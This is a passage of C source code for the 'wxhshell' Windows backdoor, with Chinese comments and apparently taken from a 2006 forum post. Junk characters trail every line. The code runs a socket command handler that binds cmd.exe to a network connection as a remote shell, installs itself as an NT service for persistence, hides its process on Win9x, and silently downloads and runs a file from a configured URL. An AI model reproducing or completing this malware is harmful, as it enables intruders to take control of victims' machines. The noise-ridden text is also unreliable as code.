    switch(cmd[0]) { ~SWR|[  
  U <|h4'(@L  
  // 帮助 P<1ZpL  
  case '?': { }/{G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iTgv8  
    break; w N-np3k  
  } [`u3SN/P  
  // 安装 ELlTR/NW  
  case 'i': { GG KD8'j]  
    if(Install()) /J-:?./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g'F{;Ur  
    else ;is*[r\|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H+VKWGmfG  
    break; < mb.F-8  
    } s?j` _ B  
  // 卸载 C6-71 `C0  
  case 'r': { .%iJin"  
    if(Uninstall()) ~qk5Mk4$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~sd+ch*  
    else H /kSFf{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Je(]b @  
    break; &;D(VdSr9  
    } 6jGPmOM/  
  // 显示 wxhshell 所在路径 U6R"eQUTV  
  case 'p': { vXio /m  
    char svExeFile[MAX_PATH]; 6axDuwQ  
    strcpy(svExeFile,"\n\r"); ]B;\?Tim  
      strcat(svExeFile,ExeFile); `9+>2*k  
        send(wsh,svExeFile,strlen(svExeFile),0); ;T6x$e  
    break; j#`d%eQ~J  
    } yLo{^4a.  
  // 重启 ##6_kcL:6G  
  case 'b': { R-8/BTls7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); le*1L8n$'  
    if(Boot(REBOOT)) NvZ )zE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cP4K9:k  
    else { k>N >_{\  
    closesocket(wsh); Pd,+= ML  
    ExitThread(0); eTV%+  
    } cvf@B_iN9  
    break; YRkp(}*!\  
    } $SP*hkU  
  // 关机 jf_0IE  
  case 'd': { 0S{dnp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J5J$qCJq  
    if(Boot(SHUTDOWN)) }Z|uLXaz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xKKR'v:o\  
    else { T%%+v#+  
    closesocket(wsh); :OF:(,J  
    ExitThread(0); qrFC4\q}  
    } b :Knc$  
    break; 0NN{2"M$p  
    } tPT\uD#t  
  // 获取shell >UP{= `  
  case 's': { d" "GG/  
    CmdShell(wsh); rb/m;8v>  
    closesocket(wsh); <By6%<JTn  
    ExitThread(0); z)Y<@2V*C  
    break; 7VF^&6  
  } :y?xS  
  // 退出 MNE{mV(  
  case 'x': { kp4*|$]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nt/+?Sj  
    CloseIt(wsh); > n~l\ fC  
    break; 0/8rYBV  
    } I 9yN TD  
  // 离开 h\ (z!7t*  
  case 'q': { #xqeCX 4p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); He)<S?X-6  
    closesocket(wsh); Wdt9k.hzN  
    WSACleanup(); "d a%@Zy  
    exit(1); =:+k  
    break; 0hKF)b  
        } %SRUHx[D  
  } 1PMBo=SUe8  
  } d9zI A6y  
$J/Z~ (=JT  
  // 提示信息 O7#ECUH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &&0,;r, -)  
} |(gq:O  
  } Lx-ofN\  
Lp; {&=PIo  
  return; ?|8QL9Q"|  
} dOm#NSJVd  
f`5e0;zm  
// shell模块句柄 uzO%+B!  
int CmdShell(SOCKET sock) iOB]72dh  
{ }+[H~8)5  
STARTUPINFO si; y.AF90Q>)  
ZeroMemory(&si,sizeof(si)); UFxQ-GV4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m6a q_u{W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +\FTR  
PROCESS_INFORMATION ProcessInfo; 5!ll #/ {`  
char cmdline[]="cmd"; /B$"fxFf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D6iHkDTg  
  return 0; ti:qOSIDTA  
} v;S7i>\  
(+<SR5,/3  
// 自身启动模式 |Ire#0Nwx  
int StartFromService(void) p @@TOS  
{ G: FP9  
typedef struct %nJ^0X_]  
{ t[B\'f!  
  DWORD ExitStatus; 5oQy $Y  
  DWORD PebBaseAddress; pYo]lO  
  DWORD AffinityMask; $_-f}E  
  DWORD BasePriority; ]8(_{@ /  
  ULONG UniqueProcessId; *rO#UE2  
  ULONG InheritedFromUniqueProcessId; V#?GDe}[  
}   PROCESS_BASIC_INFORMATION; r;`6ML[5Vx  
; d1\2H  
PROCNTQSIP NtQueryInformationProcess; D6,rb 9  
]HP aM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @O}%sjC1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0>Y3>vwSl  
7Op6> i  
  HANDLE             hProcess; fX).A`  
  PROCESS_BASIC_INFORMATION pbi; \ajy%$;$}  
L]L-000D(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G#ov2  
  if(NULL == hInst ) return 0; Cf`s:A5<J  
?Kw~O"L8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {n8mE,;M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3^l@!Qw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  k%V#{t.  
"d'D:>z]%  
  if (!NtQueryInformationProcess) return 0; ffK A  
x^kV;^ I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5V&3m@d0aq  
  if(!hProcess) return 0; <syMrXk)R(  
T:aYv;#0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Ha tb bA  
*.wX9g9\  
  CloseHandle(hProcess); T]d9tX-  
h#9X0u7j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [z$th  
if(hProcess==NULL) return 0; Z@fMU2e=Z  
2xvTijO0  
HMODULE hMod; !|{T>yy  
char procName[255]; 6q ._8%  
unsigned long cbNeeded; ${^WM}N  
w-l:* EV8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yTWP1  
)Xxu-/-  
  CloseHandle(hProcess); RiC1lCE  
won;tO]\;@  
if(strstr(procName,"services")) return 1; // 以服务启动 m @) ~.E  
[(U:1&x &  
  return 0; // 注册表启动 M=hxOta  
} H%`Ja('"p  
;^nN!KDjR  
// 主模块 /k3v\Jq{  
int StartWxhshell(LPSTR lpCmdLine) F$P8"q+  
{ ]6NpHDip1  
  SOCKET wsl; 1w}%>e-S  
BOOL val=TRUE; eO#Kn'5  
  int port=0; 6m_ fEkS[  
  struct sockaddr_in door; MPx%#'Q  
HV@ C@wmg  
  if(wscfg.ws_autoins) Install(); uc]]zI6  
45e-A{G~  
port=atoi(lpCmdLine); iIFM 5CT  
.$5QM&  
if(port<=0) port=wscfg.ws_port; Coz\fL  
s Wk92x _l  
  WSADATA data; b6sj/V8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7M*&^P\}es  
K[JbQ30  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5 s3!{zT{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q$!dPwDg  
  door.sin_family = AF_INET; 2mj?&p?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  nen(  
  door.sin_port = htons(port); +6tj w 6  
^6R?UG;6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?-w<H!Y7  
closesocket(wsl); UfcQFT{()  
return 1; F}p)Q$0  
} ? S^ U-.`  
tQ=P.14>:  
  if(listen(wsl,2) == INVALID_SOCKET) { P%M Yr"<$E  
closesocket(wsl); JGl0 (i*|  
return 1; ha+)ZF  
} W8{g<. /  
  Wxhshell(wsl); z\wY3pIr2  
  WSACleanup(); EM9K^l`  
wp7<0PP  
return 0;  [@YeQ{  
[w&B>z=g$  
} .} al s  
+?r,Nn  
// 以NT服务方式启动 wWjZXsOd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J?VMQTa/+  
{ UXpF$=  
DWORD   status = 0; .!|\Y!]^r  
  DWORD   specificError = 0xfffffff; OolYQU1_  
L-Io!msb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C s XV0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4e OS+&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /BEE.`6yI5  
  serviceStatus.dwWin32ExitCode     = 0; -JgN$Sf  
  serviceStatus.dwServiceSpecificExitCode = 0; [XK^3pT_  
  serviceStatus.dwCheckPoint       = 0; XdS&s}J[I  
  serviceStatus.dwWaitHint       = 0; r6_g/7.-  
-\=s+n_ZP?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F/33# U  
  if (hServiceStatusHandle==0) return; <k59Ni9  
/G*]3=cSe  
status = GetLastError(); >1luLp/,$  
  if (status!=NO_ERROR) ;ED` 7  
{ 5dwC~vn}c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lg6;FbY?  
    serviceStatus.dwCheckPoint       = 0; (%p@G5GU  
    serviceStatus.dwWaitHint       = 0; f_\,H|zco)  
    serviceStatus.dwWin32ExitCode     = status; h"O4r8G}  
    serviceStatus.dwServiceSpecificExitCode = specificError; B?M&j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $W}YXLFj?  
    return; '0ks`a4q  
  } hbfN1 "z  
Tfsx&k\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K"fr4xHq  
  serviceStatus.dwCheckPoint       = 0; +UvT;"  
  serviceStatus.dwWaitHint       = 0; /:S&1'=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3+:F2sjt  
} +"P!es\q  
pAdx 6  
// 处理NT服务事件,比如:启动、停止 V.\12P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /O`<?aP%  
{ P]h-**O  
switch(fdwControl) Cpg>5N~;L  
{ 5N~JRq\  
case SERVICE_CONTROL_STOP: o paRk.p  
  serviceStatus.dwWin32ExitCode = 0; 7 &O 0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YB`1S  
  serviceStatus.dwCheckPoint   = 0; uv#."_Va  
  serviceStatus.dwWaitHint     = 0; )\O;Rt(  
  { kg/<<RO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n,Gvgf  
  } C3k[ipCN  
  return; Q}zd!*  
case SERVICE_CONTROL_PAUSE: U7_1R0h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gPJZpaS  
  break; H;D CkVL  
case SERVICE_CONTROL_CONTINUE: Al}D~6MD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sv#S_jh  
  break; nNc>nB1  
case SERVICE_CONTROL_INTERROGATE: 5Z]]xR[  
  break; \bXusLI!l  
}; (JX 9c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /^M|$JRI  
} {e]ktj#+{  
@sPuc.  
// 标准应用程序主函数 %M7EOa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) woyn6Z1JQ  
{ ORDVyb_x  
*xV  
// 获取操作系统版本 9YQYg@+R  
OsIsNt=GetOsVer(); x?6 \C-i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); br3r!Vuz/-  
fVvB8[(;~  
  // 从命令行安装 bCfw,V{sce  
  if(strpbrk(lpCmdLine,"iI")) Install(); T8t_+| ( G  
1`q>*S](  
  // 下载执行文件 +3d.JQoKl  
if(wscfg.ws_downexe) { OAiSE`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v$d^>+Y#  
  WinExec(wscfg.ws_filenam,SW_HIDE); `z1E]{A  
} !+o`,KTYp  
96#aG h>  
if(!OsIsNt) { p|0ZP6!|  
// 如果时win9x,隐藏进程并且设置为注册表启动 is6M{K3  
HideProc(); JqTR4[`Z\  
StartWxhshell(lpCmdLine); Dkyw3*LCn%  
} ;N?raz2mEi  
else @3v[L<S{  
  if(StartFromService()) EvGKcu  
  // 以服务方式启动 D/oO@;`'c  
  StartServiceCtrlDispatcher(DispatchTable); !;%+1j?d  
else #+ai G52+  
  // 普通方式启动 /RBIZ_  
  StartWxhshell(lpCmdLine); +@mgb4_  
*|*6 q/  
return 0; aH'=k?Of;  
}
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只看该作者 1 发表于: 2006-10-10
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